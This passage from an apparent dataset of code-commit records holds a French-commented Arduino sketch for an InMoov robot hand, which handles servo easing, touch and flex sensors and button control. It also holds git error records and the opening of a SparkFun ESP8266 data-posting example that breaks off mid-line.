Palais de Tokyo (20.05.2016)\n *\/\n\n#include <Servo.h>;\n\n\/\/ Varibales pour la gestion des accelerations\/d\u00e9c\u00e9l\u00e9ration du servo moteur\nconst float pi = 3.14;\nint deplacement, angleIndex, angleprog;\n\n\/\/ Execute la demo des mouvements par d\u00e9faut\nboolean demoMode=false;\n\nboolean mvtencours = false;\nboolean fermerturesurpression=false;\n\n\/\/ Varibales pour la gestion du flex sensor\nint angleFinger =0;\nint powerFinger =0;\n\n\/\/ Seuil de d\u00e9tection capteur inductif du poignet\n\/\/ ces valeures s'auto-calibrent...\n\nuint16_t THRESHOLD_GAUCHE ;\nuint16_t THRESHOLD_DROIT;\nuint8_t nbcycle=0;\n\nuint16_t FINGER_FLEXSENSOR;\n\nunsigned long oldtouchTimeStamp;\n\n\/\/ Indice dans le tableau de description des servos\nconst uint8_t POUCE = 0;\nconst uint8_t INDEX = 1;\nconst uint8_t MAJEUR = 2;\nconst uint8_t ANNULAIRE = 3;\nconst uint8_t AURICULAIRE = 4;\nconst uint8_t POIGNET = 5;\n\nconst uint8_t nbServos = 6;\n\n\/\/ Position main en degr\u00e9 pour les servos moteurs\nconst uint8_t OUVERT = 0;\nconst uint8_t FERME = 180;\n\n\/\/ en MICROSECONDES secondes (10-6 s) , la valeur par defaut d'un d\u00e9placement valeur mini pour bouger d'un degr\u00e9 \n\/\/ (20 MS ( 1 cycle du signal PWM = 20 milli-secondes)\n\/\/ sinon prend la valeur cod\u00e9 dans la table des mouvements\nconst int stdDelay = 5000; \nint G_servospeed=stdDelay;\n\n\/\/ Pas de d\u00e9placement par defaut 1 degr\u00e9\nint pasendegre = 1;\n\n\/\/ D\u00e9claration des SERVOS\nServo servos[10];\n\n\/\/ Pin Arduino pour les leds Droite et Gauche\nint LEDG=13;\nint LEDD=12;\n\n\/\/ Attention sur arduino uniquement D2 et D3 pouvant \u00eatre attach\u00e9 \u00e0 une interuption\nint POUSSG=2;\nint POUSSD=3;\n\n\/\/ Pouss ON \/ OFF volatile permet l'acces \u00e0 la variable \u00e0 partir de la fonction d\u00e9clanch\u00e9 par une interuption\nvolatile byte state = LOW;\nvolatile byte stateg = HIGH;\n\nunsigned long lastinterupt_millid=millis();\nunsigned long lastinterupt_millig=millis();\nunsigned long lastmeasurea0=millis();\n\n\/\/ Arduino Pin auquelles sont rattaches les servos\nconst uint8_t pouce = 4;\nconst uint8_t index = 5;\nconst uint8_t majeur = 6;\nconst uint8_t annulaire = 7;\nconst uint8_t auriculaire = 8;\nconst uint8_t poignet = 9;\n\nconst uint8_t SENSOR_GAUCHE = 10;\nconst uint8_t SENSOR_DROIT = 11;\n\n\/\/ Structure pour definit les proprietes d'un servo moteur\n\/\/ Pin, point repot en degr\u00e9 \/ position mini en degr\u00e9 \/ position maxi en degr\u00e9\n\/\/ Position courante (theorique : derniere ordre ex\u00e9cut\u00e9 en degr\u00e9) \/ position de destination\n\/\/ Position de d\u00e9part n\u00e9cessaire pour d\u00e9finir la courbe du mouvement.\n\/\/ \ntypedef struct{\n byte pin; \n byte neutre;\n byte minPos;\n byte maxPos;\n byte startPos;\n byte curPos;\n byte destination;\n unsigned long timetag;\n} ServoPos;\n\n\n\/\/ Initialisation des servos moteurs \/ Main Ferm\u00e9\n\/\/ Par defaut \u00e0 la position neutre avec comme position courrante le neutre et objectif idem...\n\/\/ Ex\u00e9cution au de cette position au d\u00e9marrage de l'arduino.\n\/\/ => pas de gestion au pas pour l'initialisation car\n\/\/ on ne connait pas la position actuelle...\n\/\/ { majeur, 140, 50, 175, 0, 0, 50},\nServoPos servosPos[] = {\n { pouce, 110, 30, 126, 0, 0, 50},\n { index, 150, 45, 161, 0, 0, 50},\n { majeur, 140, 50, 175, 0, 0, 50},\n { annulaire, 160, 60, 170, 0, 0, 50},\n { auriculaire, 150, 26, 158, 0, 0, 50},\n { poignet, 90, 25, 130, 0, 0, 90},\n};\n\n\n\/\/ Liste des mouvements\n\/\/ Codage des angles des 6 moteurs dans un tableau\n\/\/ Vitesse defini en micro seconde le d\u00e9lais entre 2 mouvement prend le pas sur la valeur par d\u00e9faut\n\/\/ si 0\ntypedef struct{\n byte pouce; \n byte index;\n byte majeur;\n byte annulaire;\n byte auriculaire;\n byte poignet;\n unsigned long pause;\n byte vitesse;\n} Mouvement;\n\nMouvement mvts[] = {\n {FERME, FERME, FERME, FERME, FERME, 90,500,5000},\n {50, FERME, FERME, FERME, FERME, 90,500,0},\n {50, 84, FERME, FERME, FERME, 90,500,0},\n {88, 84, FERME, FERME, FERME, 90,500,0},\n {88, 98, FERME, FERME, FERME, 90,3000,10000},\n \n {FERME, 90, FERME, FERME, FERME, 30,500,5000},\n {FERME, OUVERT, FERME, FERME, FERME, 40,500,5000},\n {FERME, 90, FERME, FERME, FERME, 50,500,5000},\n {FERME, OUVERT, FERME, FERME, FERME, 60,500,5000},\n {FERME, 90, FERME, FERME, FERME, 70,500,5000},\n \n {FERME, FERME, FERME, FERME, FERME, 30,2000,0},\n {OUVERT, FERME, FERME, FERME, FERME, 90,2000,0},\n {FERME, OUVERT, FERME, FERME, FERME, 100,2000,0},\n {FERME, FERME, OUVERT, FERME, FERME, 110,2000,0},\n {FERME, FERME, FERME, OUVERT, FERME, 120,2000,0},\n {FERME, FERME, FERME, FERME, OUVERT, 130,2000,0},\n {FERME, FERME, FERME, FERME, FERME, 130,4000,0}, \n {OUVERT, FERME, FERME, FERME, FERME, 130,2000,0}, \n {OUVERT, OUVERT, FERME, FERME, FERME, 130,2000,0}, \n {OUVERT, OUVERT, OUVERT, FERME, FERME, 130,2000,0}, \n {OUVERT, OUVERT, OUVERT, OUVERT, FERME, 130,2000,0}, \n {OUVERT, OUVERT, OUVERT, OUVERT, OUVERT, 130,2000,0},\n {FERME, OUVERT, FERME, FERME, OUVERT, 130,2000,0}, \n {FERME, FERME, FERME, FERME, FERME, 90,4000,0}, \n {OUVERT, FERME, FERME, FERME, FERME, 90,2000,0}, \n {0, 70, 70, 70, 70, 90,1000,0}, \n {0, 120, 120, 120, 120, 95,1000,0}, \n {0, 70, 70, 70, 70, 100,1000,0},\n {0, 120, 120, 120, 120, 105,1000,0}, \n {0, 70, 70, 70, 70, 110,1000,0}, \n};\n\nint nbMvts = 28;\nint idxMvts = 0;\n\nchar commande;\n\nvoid setup() {\n Serial.begin(115200);\n Serial.println(\"INMOOV HAND KIT - tapez help pour obtenir de l'aide sur le fonctionnement\");\n \n pinMode(LEDG, OUTPUT);\n pinMode(LEDD, OUTPUT);\n\n \/\/ Eteind les led par d\u00e9faut\n digitalWrite(LEDG, HIGH);\n digitalWrite(LEDD, HIGH);\n \n \/\/ D\u00e9lcaration des boutons poussoirs\n \/\/ INPUT_PULLUP remplace la mise \u00e0 l'\u00e9tat haut apr\u00e8s la mise en entr\u00e9e de la broche...\n \/\/ Active la r\u00e9sistance interne pour \u00e9tat haut (Pull UP)\n \/\/ digitalWrite(POUSSD,HIGH);\n pinMode(POUSSG, INPUT_PULLUP);\n pinMode(POUSSD, INPUT_PULLUP);\n\n oldtouchTimeStamp = millis();\n \n \/\/ Positionne les doigts \u00e0 leur emplacement M\u00e9dian\n initPosition(); \n \n \/\/ Ferme la main\n mainOuverte();\n\n \n \/\/ IMPORTANT : \n \/\/ Auto calibration des \"touchs sensors\"\n \/\/ Pendant 5 secondes prend des mesures pour faire la moyenne.\n \/\/ ------------------------------------------------------------\n Serial.println(\"Auto calibration des 2 detecteurs du poignets : patientez 7 secondes\");\n int cpt=0;\n uint32_t nbcycletotal=0;\n \n while (millis()<2500) {\n nbcycletotal=nbcycletotal+touch_measure(SENSOR_GAUCHE);\n cpt++; \n delay(20);\n }\n \/\/ Calcul la moyenne et ajoute 3 pour le seuil de d\u00e9clenchement\n THRESHOLD_GAUCHE=uint16_t(nbcycletotal\/cpt)+3;\n Serial.print(\"THRESHOLD_GAUCHE = \");Serial.println(THRESHOLD_GAUCHE);\n \n cpt=0;nbcycletotal=0;\n \n while (millis()<5000) {\n nbcycletotal=nbcycletotal+touch_measure(SENSOR_DROIT);\n cpt++;\n delay(20);\n \/\/ Serial.println(nbcycletotal);\n }\n \/\/ Calcul la moyenne et ajoute 3 pour le seuil de d\u00e9clenchement\n THRESHOLD_DROIT=uint16_t(nbcycletotal\/cpt)+3;\n Serial.print(\"THRESHOLD_DROIT = \"); Serial.println(THRESHOLD_DROIT);\n\n \/\/ Idem pour le Flex Sensor calcul d'un seuil de prise en compte\n \/\/ le capteur doit \u00eatre en position allong\u00e9\n cpt=0;nbcycletotal=0;\n while (millis()<7000) {\n nbcycletotal= nbcycletotal+analogRead(A0);\n cpt++;\n delay(20);\n }\n FINGER_FLEXSENSOR = uint16_t(nbcycletotal\/cpt);\n Serial.print(\"FINGER_FLEXSENSOR = \"); Serial.println(FINGER_FLEXSENSOR);\n\n \/\/ Connecte les 2 poussoir aux pin\n \/\/ Attention les interuptions externe ne concernent que le PIN 2 et 3 sur Arduino !\n attachInterrupt(digitalPinToInterrupt(POUSSG), changeLed, CHANGE );\n attachInterrupt(digitalPinToInterrupt(POUSSD), changeState, FALLING );\n}\n\n\/\/ ------------------------------------------------\n\/\/ Deplace un servo sur la base de pas progressif\n\/\/ de la config de sa structure...\n\/\/ ----------------------------------------------\nvoid bougeServos(int degrePas) {\n int sensRotation = 0; \n int mvtfini=0;\n \n \/\/ Parcours tous les servos pour calculer les nouvelles positions\n for (int j=0; j<nbServos; j++) {\n \n \/\/ si la position de destination <> de la position courrante\n \/\/ d\u00e9place le servo vers son objectif au rytme d\u00e9fini...\n if (servosPos[j].curPos != servosPos[j].destination) {\n mvtencours=true;\n \n \/\/ regarde le sens de d\u00e9placement.\n if (servosPos[j].destination > servosPos[j].curPos) \n sensRotation=+1;\n else sensRotation=-1;\n \n \/\/ Modifie la position courrante.\n servosPos[j].curPos =servosPos[j].curPos + sensRotation*degrePas;\n \n \/\/ V\u00e9rifie que l'on n'a pas d\u00e9pass\u00e9 la destination... et r\u00e9affecte la postion \u00e0 la destination sinon\n if (sensRotation<0) servosPos[j].curPos=max(servosPos[j].curPos, servosPos[j].destination);\n if (sensRotation>0) servosPos[j].curPos=min(servosPos[j].curPos, servosPos[j].destination);\n \n \/\/ deplace le servo vers la nouvelle position courrante \n \/\/ Mode avec pente sinusoidale...\n \/\/ 22.05.2016\n if (servosPos[j].destination>servosPos[j].startPos) {\n deplacement=(servosPos[j].destination-servosPos[j].startPos);\n angleIndex=servosPos[j].curPos-servosPos[j].startPos;\n angleprog =(servosPos[j].destination-deplacement)+int((deplacement\/pi)*(((pi*angleIndex)\/deplacement)-(cos(((pi*angleIndex)\/deplacement))*sin(((pi*angleIndex)\/deplacement))))+0.5);\n \n } else {\n deplacement=-(servosPos[j].destination-servosPos[j].startPos);\n angleIndex=servosPos[j].curPos-servosPos[j].startPos;\n angleIndex=abs(angleIndex);\n \n angleprog =(servosPos[j].startPos)-int((deplacement\/pi)*(((pi*angleIndex)\/deplacement)-(cos(((pi*angleIndex)\/deplacement))*sin(((pi*angleIndex)\/deplacement))))+0.5);\n\n }\n\n if (!servos[j].attached()) servos[j].attach(servosPos[j].pin);\n servos[j].write(angleprog);\n \/\/ Serial.println(angleprog);\n \n \/\/ Mode deplacement lin\u00e9aire (remplac\u00e9 par mode pente)\n \/\/ servos[j].write(servosPos[j].curPos);\n\n servosPos[j].timetag = millis();\n } else {\n mvtfini++;\n \/\/ Eviter la surchauffe, detach le servo une fois position de destination atteinte\n \/\/ laisse 2 secondes entre le dernier ordre et le detach\n if (servos[j].attached() && (millis()-servosPos[j].timetag)>500) servos[j].detach();\n \/\/ Serial.println(\"detach\");\n } \n }\n\n\n \/\/ Laisser un peut de temps entre chaque mvt\n if (mvtencours==true) delayMicroseconds(G_servospeed);\n \n \/\/ Si tous les servos sont en position alors plus de mouvements,\n \/\/ enchainement d'un autre mvt possible.\n if (mvtfini==nbServos && mvtencours==true) { mvtencours=false; }\n}\n\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n commande=' ';\n \n while (Serial.available()) {\n commande = Serial.read(); \/\/gets one byte from serial buffer\n delay(2); \/\/slow looping to allow buffer to fill with next character\n }\n\n \n \/\/ Regarde si les capteurs sensitifs du poignets sont touch\u00e9s\n \/\/ on fait les test des senseurs que si aucun mouvement en cours\n if (mvtencours==false) {sensor_touch(); }\n\n \/\/ Execute pour chaque servo la commande de d\u00e9placement\n bougeServos(1);\n \n \/\/ Serial.println(angleFinger);\n\n \/\/ Delay entre 2 mouvements de la main\n if (mvtencours==false && demoMode==true) {\n \/\/ Param\u00e8tre un nouveau mouvement \n if (idxMvts<=nbMvts) {\n \/\/ fait la pause pr\u00e9vue avant enchainement mvt suivant\n if (idxMvts>=1) delay(mvts[idxMvts-1].pause);\n \n moveAllFingers(mvts[idxMvts].pouce,mvts[idxMvts].index,mvts[idxMvts].majeur,mvts[idxMvts].annulaire,mvts[idxMvts].auriculaire,mvts[idxMvts].poignet,mvts[idxMvts].vitesse );\n idxMvts++;\n } else {\n \/\/ On repard au debut\n idxMvts=0;\n }\n } \n \n \/\/ **** Power Finger Glove \/ ou capteur de pression *********\n if (demoMode==false && FINGER_FLEXSENSOR>800 && (millis()-lastmeasurea0>100)) {\n powerFinger=analogRead(A0);\n \/\/ Seuil de d\u00e9clenchement tmvt compris entre 449 = pas de flex sensor connect\u00e9 \n \/\/ 870 = connect\u00e9 mais pas sous pression\n \/\/ \n \/\/ (ouvert) et 180 (ferm\u00e9)\n lastmeasurea0=millis();\n \/\/ Serial.println(powerFinger);\n\n \/\/ Sur une pression de 720 delcenche la fermeture de la main\n if(powerFinger < 840) {\n commande='f';\n fermerturesurpression=true;\n }\n\n if(powerFinger > 860 && fermerturesurpression==true) {\n commande='o';\n fermerturesurpression=false;\n }\n \n \/\/ Pour la fermeture d'un doit progressivement\n \/*\n if(powerFinger < FINGER_FLEXSENSOR) {\n angleFinger=map(powerFinger,180,FINGER_FLEXSENSOR,FERME,OUVERT);\n moveAllFingers(-1,-1,angleFinger,-1,-1,-1,0); \n }\n *\/\n }\n\n \/\/ ---------- Commandes -----------\n if (commande=='s') { \n \/\/ Stop l'animation automatique\n demoMode=false;\n commande='f';\n }\n if (commande=='d') { \n \/\/ lance la demo : animation automatique\n demoMode=true;\n idxMvts=0;\n }\n \n if (commande=='o') mainOuverte();\n if (commande=='f') mainFermee();\n if (commande=='v') victoire();\n if (commande=='a') attrappe();\n\n \/\/ Deplacement du poignet \n if (commande=='r') moveAllFingers(-1,-1,-1,-1,-1,180,0); ;\n if (commande=='l') moveAllFingers(-1,-1,-1,-1,-1,0,0); ;\n\n \/\/ Execute le mouvement suivant du tableau\n if (commande=='+') {\n Serial.print(\"Mouvement no \");Serial.println(idxMvts);\n moveAllFingers(mvts[idxMvts].pouce,mvts[idxMvts].index,mvts[idxMvts].majeur,mvts[idxMvts].annulaire,mvts[idxMvts].auriculaire,mvts[idxMvts].poignet,mvts[idxMvts].vitesse );\n idxMvts++;\n \/\/ On Va reboucler la demo en fin de cycle\n if (idxMvts>=nbMvts) idxMvts=0;\n }\n\n if (commande=='-') {\n Serial.print(\"Mouvement no \");Serial.println(idxMvts);\n moveAllFingers(mvts[idxMvts].pouce,mvts[idxMvts].index,mvts[idxMvts].majeur,mvts[idxMvts].annulaire,mvts[idxMvts].auriculaire,mvts[idxMvts].poignet,mvts[idxMvts].vitesse );\n idxMvts--;\n idxMvts=max(idxMvts,0 ); \n }\n \n if (commande=='r') relax(); \n\n if (commande=='0') pouced(true); \n if (commande=='5') pouced(false); \n\n if (commande=='1') indexd(true); \n if (commande=='6') indexd(false); \n \n if (commande=='2') majeurd(true); \n if (commande=='7') majeurd(false); \n\n if (commande=='3') annulaired(true); \n if (commande=='8') annulaired(false); \n\n if (commande=='4') auriculaired(true); \n if (commande=='9') auriculaired(false); \n \n}\n\n\nvoid pouced(boolean sens) {\n if (sens==true) moveAllFingers(OUVERT,-1,-1,-1,-1,-1,0); \n if (sens==false) moveAllFingers(FERME,-1,-1,-1,-1,-1,0); \n}\n\nvoid indexd(boolean sens) {\n if (sens==true) moveAllFingers(-1,OUVERT,-1,-1,-1,-1,0); \n if (sens==false) moveAllFingers(-1,FERME,-1,-1,-1,-1,0); \n}\n\nvoid majeurd(boolean sens) {\n if (sens==true) moveAllFingers(-1,-1,OUVERT,-1,-1,-1,0); \n if (sens==false) moveAllFingers(-1,-1,FERME,-1,-1,-1,0); \n}\n\nvoid annulaired(boolean sens) {\n if (sens==true) moveAllFingers(-1,-1,-1,OUVERT,-1,-1,0); \n if (sens==false) moveAllFingers(-1,-1,-1,FERME,-1,-1,0); \n}\n\nvoid auriculaired(boolean sens) {\n if (sens==true) moveAllFingers(-1,-1,-1,-1,OUVERT,-1,0); \n if (sens==false) moveAllFingers(-1,-1,-1,-1,FERME,-1,0); \n}\n\n\/\/ Detach tous les servo\nvoid relax() {\n for (int j=0; j<nbServos; j++) {\n servos[j].detach();\n } \n}\n\nvoid initialisation() {\n moveAllFingers(FERME,FERME,FERME,FERME,FERME,90,0);\n}\n\nvoid victoire() {\n Serial.println(\"Ouverture de la main !\");\n moveAllFingers(FERME,OUVERT,OUVERT,FERME,FERME,90,0);\n}\n\nvoid attrappe() {\n Serial.println(\"Ouverture de la main !\");\n moveAllFingers(FERME,OUVERT,OUVERT,FERME,FERME,90,0);\n}\n\n\nvoid mainOuverte() {\n Serial.println(\"Ouverture de la main !\");\n moveAllFingers(OUVERT,OUVERT,OUVERT,OUVERT,OUVERT,90,0);\n}\n\nvoid mainFermee() {\n Serial.println(\"Fermeture de la main !\");\n moveAllFingers(FERME,FERME,FERME,FERME,FERME,90,0);\n}\n\n\n\/\/\n\/\/ Configure le degr\u00e9 de rotation pour chacun des doigts de la main\n\/\/ Le traitement pour chaque doit est ensuite g\u00e9r\u00e9 dans la loop\n\/\/ -1 pour ne pas toucher \u00e0 la position d'un servo.\n\/\/ \nvoid moveAllFingers(int pouce, int index, int majeur, int annulaire, int auriculaire, int poignet, int servospeed) {\n\n \/\/ Contr\u00f4le avec les bornes Min\/Max pour chaque servo\n if (pouce!=-1) {\n if (pouce < servosPos[POUCE].minPos) pouce=servosPos[POUCE].minPos;\n if (pouce > servosPos[POUCE].maxPos) pouce=servosPos[POUCE].maxPos;\n servosPos[POUCE].destination = pouce;\n \/\/ Etablie une copie de l'\u00e9tat courrant du doigt vers la m\u00e9moire \u00e9tat de d\u00e9part...\n servosPos[POUCE].startPos = servosPos[POUCE].curPos; \n }\n\n if (index != -1) {\n if (index < servosPos[INDEX].minPos) index=servosPos[INDEX].minPos;\n if (index > servosPos[INDEX].maxPos) index=servosPos[INDEX].maxPos;\n servosPos[INDEX].destination = index;\n servosPos[INDEX].startPos = servosPos[INDEX].curPos; \n }\n\n if (majeur !=-1) {\n if (majeur < servosPos[MAJEUR].minPos) majeur=servosPos[MAJEUR].minPos;\n if (majeur > servosPos[MAJEUR].maxPos) majeur=servosPos[MAJEUR].maxPos;\n servosPos[MAJEUR].destination = majeur; \n servosPos[MAJEUR].startPos = servosPos[MAJEUR].curPos; \n }\n\n if (annulaire !=-1) {\n if (annulaire < servosPos[ANNULAIRE].minPos) annulaire=servosPos[ANNULAIRE].minPos;\n if (annulaire > servosPos[ANNULAIRE].maxPos) annulaire=servosPos[ANNULAIRE].maxPos; \n servosPos[ANNULAIRE].destination = annulaire;\n servosPos[ANNULAIRE].startPos = servosPos[ANNULAIRE].curPos; \n }\n\n if (auriculaire !=-1) {\n if (auriculaire < servosPos[AURICULAIRE].minPos) auriculaire=servosPos[AURICULAIRE].minPos;\n if (auriculaire > servosPos[AURICULAIRE].maxPos) auriculaire=servosPos[AURICULAIRE].maxPos; \n servosPos[AURICULAIRE].destination = auriculaire;\n servosPos[AURICULAIRE].startPos = servosPos[AURICULAIRE].curPos; \n }\n\n if (poignet !=-1) {\n if (poignet < servosPos[POIGNET].minPos) poignet=servosPos[POIGNET].minPos;\n if (poignet > servosPos[POIGNET].maxPos) poignet=servosPos[POIGNET].maxPos; \n servosPos[POIGNET].destination = poignet;\n servosPos[POIGNET].startPos = servosPos[POIGNET].curPos; \n }\n \n \/\/ regle la vitesse (tps entre chaque deplacement )\n if (servospeed==0) G_servospeed=stdDelay; else G_servospeed=servospeed;\n\n}\n\n\/\/ -----------------------------------------------------------------\n\/\/ Met les moteurs dans une position initiale au d\u00e9marrage \n\/\/ en faisant en sorte de ne \"rien casser\"\n\/\/ permet ensuite d'avoir un rep\u00e8re pour les mouvements\n\/\/ ------------------------------------------------------------------\nvoid initPosition() {\n int neutre=0;\n \n \/\/ met les servos \u00e0 sa position Milieu entre ses bornes (90 degr\u00e9s en th\u00e9orie si Min=0 et max=180)\n \/\/ Position n\u00e9cessitant \u00e0 priori en moyenne le moins d'effort en d\u00e9placement\n \/\/ Car sans connaissance initiale impossible de d\u00e9placer le servo \n \/\/ lentement vers cette position !\n for (int i=0;i<nbServos ;i++) {\n neutre=int((servosPos[i].maxPos-servosPos[i].minPos)\/2);\n \n servos[i].write(neutre);\n servos[i].attach(servosPos[i].pin);\n\n servosPos[i].startPos = neutre; \n servosPos[i].curPos = neutre;\n servosPos[i].destination = neutre;\n delay(50); \/\/ delai entre chaque mouvement pour ne pas trop tirer de courant d'un coup\n servos[i].detach();\n } \n}\n\n\n\/**\n * Mesure la capacit\u00e9 \u00e9lectrique pr\u00e9sente sur une broches digitale\n *\n * Principe : Place la broche au 0v, puis compte le nombre de cycles requis avant que la broche ne commute.\n * Ce syst\u00e8me tire parti du temps de charge d'un condensateur au travers d'une r\u00e9sistance de forte valeur (>1M ohms).\n *\n * @param measurePin Broche sur laquelle effectuer la mesure\n * @return Valeur comprise entre 0 (= pas de capacitance) et 255 (= \"grosse\" capacitance)\n *\n * Remarque : une r\u00e9sistance >1M ohms entre la broche et +VCC est obligatoire !\n *\/\nuint8_t touch_measure(uint8_t measurePin){\n \/\/ Serial.print(\" mesure \");\n noInterrupts();\n \n \/* Registre bas-niveau, DDR = port de configuration, PORT = port de sortie, PIN = port d'entr\u00e9e *\/\n uint8_t xport = digitalPinToPort(measurePin);\n volatile uint8_t *ddr = portModeRegister(xport);\n volatile uint8_t *port = portOutputRegister(xport);\n volatile uint8_t *pin = portInputRegister(xport);\n \n \/* R\u00e9sultat de la mesure, Bitmask de la broche \u00e0 mesurer *\/\n uint8_t cycles, bitmask = digitalPinToBitMask(measurePin);\n \n \/* D\u00e9charge la capacit\u00e9 en contact avec la broche *\/\n *port &= ~(bitmask); \/\/ Place la broche \u00e0 LOW\n *ddr |= bitmask; \/\/ Place la broche en sortie\n delayMicroseconds(1000); \/\/ Attend pour \u00eatre sur que la capacit\u00e9 est d\u00e9charg\u00e9\n\n \n \/* Place la broche en entr\u00e9e, sans r\u00e9sistance de pull-up ! *\/\n \/* (La r\u00e9sistance de >1M ohms externe servira de r\u00e9sistance de pull-up) *\/\n *ddr &= ~(bitmask);\n \n \/* Mesure le nombre de cycles CPU requis avant que la broche ne commute *\/\n for(cycles = 0; cycles < 256; cycles=cycles+1){\n if (*pin & bitmask) break; \/\/ Si la broche a commuter on quitte la boucle\n \/\/ Serial.println(cycles);\n }\n\n \/\/ Serial.print(\" fin de mesure \"); \n \/* Re-d\u00e9charge la capacit\u00e9 en contact avec la broche\n * afin d'\u00e9viter tout parasitages d'une autre mesure sur une autre broche.\n * Dans le cas contraire il serait impossible de manipuler plus d'une touche \"tactile\" *\/\n *port &= ~(bitmask);\n *ddr |= bitmask;\n\n interrupts();\n \/* Retourne le r\u00e9sultat *\/\n return cycles;\n}\n\n\n\nvoid sensor_touch() {\n\n \/\/ Une mesure toutes les 500 ms pour \u00e9viter de pb de stabilit\u00e9...\n if ((millis()-oldtouchTimeStamp)>300) {\n oldtouchTimeStamp= millis() ;\n\n \/* Test si la \"touche\" a \u00e9t\u00e9 appuy\u00e9 ou non *\/\n nbcycle=touch_measure(SENSOR_GAUCHE);\n \/\/ Serial.print(nbcycle);\n \n if(nbcycle > THRESHOLD_GAUCHE) {\n \/\/ Serial.print(1);\n \/\/ledOn(LEDG);\n moveAllFingers(-1,-1,-1,-1,-1,servosPos[POIGNET].destination-5,0);\n \/\/ servosPos[POIGNET].destination = servosPos[POIGNET].destination-5;\n \/\/ Serial.println(servosPos[POIGNET].destination);\n } \n else\n {\n \/\/ Serial.print(\"0\");\n \/\/ledOff(LEDG);\n }\n \/\/ Serial.println(touch_measure(i), DEC);\n\n \n nbcycle=touch_measure(SENSOR_DROIT);\n \/\/ Serial.print(nbcycle);\n \n if(nbcycle > THRESHOLD_DROIT) {\n \/\/ Serial.print(1);\n \/\/ledOn(LEDD);\n moveAllFingers(-1,-1,-1,-1,-1,servosPos[POIGNET].destination+5,0);\n \/\/ servosPos[POIGNET].destination = servosPos[POIGNET].destination+5; \n \/\/ Serial.println(servosPos[POIGNET].destination); \n } \n else\n {\n \/\/ Serial.print(\"0\");\n \/\/ledOff(LEDD);\n }\n\n } \n}\n\n\n\/\/ Gere le bouton en push successif \/ 1 push allume \/ 1 push \u00e9teind\nvoid changeState() {\n \/\/ Inverse l'\u00e9tat\n \/\/ La pullup n'elimine pas tous les rebonds\n \/\/ on va consid\u00e9rer le changement sur un interval de temps (10ms mini entre 2 changements)\n if ((millis()-lastinterupt_millid)> 500) {state=!state;lastinterupt_millid=millis();}\n\n \/\/ en fonction de l'\u00e9tat allume ou \u00e9teind\n if (state) {\n commande='d';\n ledOn(LEDD);\n } else {\n commande='s';\n ledOff(LEDD);\n }\n Serial.println(state);\n}\n\n\n\/\/ Allume la led tant que bouton maintenu pouss\u00e9\nvoid changeLed() {\n if (digitalRead (POUSSG) == HIGH && stateg==false && (millis()-lastinterupt_millig)> 500) {\n ledOn(LEDG);\n commande='+';\n stateg=true;\n lastinterupt_millig=millis();\n } else {\n stateg=false;\n ledOff(LEDG); \/\/ end of switchPressed\n \n } \n}\n\n\nvoid ledOn(int pinLed) {\n digitalWrite(pinLed, LOW); \n}\n\n\nvoid ledOff(int pinLed) {\n digitalWrite(pinLed, HIGH);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'home\/Seb\/hand-kit-smooth.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"e633e588f36d4d27682815a255ffd8925d6fa06b","subject":"code cleaning","message":"code cleaning\n","repos":"relayr\/Arduino-Bridge-Library","old_file":"examples\/BridgeCloudConnection\/BridgeCloudConnection.ino","new_file":"examples\/BridgeCloudConnection\/BridgeCloudConnection.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/relayr\/Arduino-Bridge-Library.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"7a3c7f80ec529afa9f519807d749d0b71e77a0cc","subject":"Adding Phant library example.","message":"Adding Phant library example.\n","repos":"efess\/SparkFun_ESP8266_AT_Arduino_Library,sparkfun\/SparkFun_ESP8266_AT_Arduino_Library,semiotproject\/SparkFun_ESP8266_AT_Arduino_Library,sparkfun\/SparkFun_ESP8266_AT_Arduino_Library","old_file":"examples\/ESP8266_Phant_Library\/ESP8266_Phant_Library.ino","new_file":"examples\/ESP8266_Phant_Library\/ESP8266_Phant_Library.ino","new_contents":"\/************************************************************\nESP8266_Phant_Library.h\nSparkFun ESP8266 AT library - Phant Posting Example\nJim Lindblom @ SparkFun Electronics\nOriginal Creation Date: July 16, 2015\nhttps:\/\/github.com\/sparkfun\/SparkFun_ESP8266_AT_Arduino_Library\n\nThis example demonstrates how to use the TCP client \nfunctionality of the SparkFun ESP8266 WiFi library to post \nsensor readings to a Phant stream on \nhttps:\/\/data.sparkfun.com\n\nThis sketch is set up to post to a publicly available stream\nhttps:\/\/data.sparkfun.com\/streams\/DJjNowwjgxFR9ogvr45Q\nPlease don't abuse it! But feel free to post a few times to\nverify the sketch works. If it fails, check the HTTP response\nto make sure the post rate hasn't been exceeded.\n\nThis sketch also requires that the Phant Arduino library be\ninstalled. You can download it from the GitHub repository:\nhttps:\/\/github.com\/sparkfun\/phant-arduino\n\nDevelopment environment specifics:\n IDE: Arduino 1.6.5\n Hardware Platform: Arduino Uno\n ESP8266 WiFi Shield Version: 1.0\n\nThis code is beerware; if you see me (or any other SparkFun \nemployee) at the local, and you've found our code helpful, \nplease buy us a round!\n\nDistributed as-is; no warranty is given.\n************************************************************\/\n\/\/ The SparkFunESP8266WiFi library uses SoftwareSerial\n\/\/ to communicate with the ESP8266 module. Include that\n\/\/ library first:\n#include <SoftwareSerial.h>\n\/\/ Include the ESP8266 AT library:\n#include <SparkFunESP8266WiFi.h>\n\/\/ This example also requires the Phant Arduino library.\n\/\/ Download the library from our GitHub repo:\n\/\/ https:\/\/github.com\/sparkfun\/phant-arduino\n#include <Phant.h>\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ WiFi Network Definitions \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Replace these two character strings with the name and\n\/\/ password of your WiFi network.\n\/\/const char mySSID[] = \"PiFi\";\n\/\/const char myPSK[] = \"sparkfun\";\n\n\/\/IPAddress myIP; \/\/ IPAddress to store the local IP\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Phant Constants \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Phant detsination server:\nconst char phantServer[] = 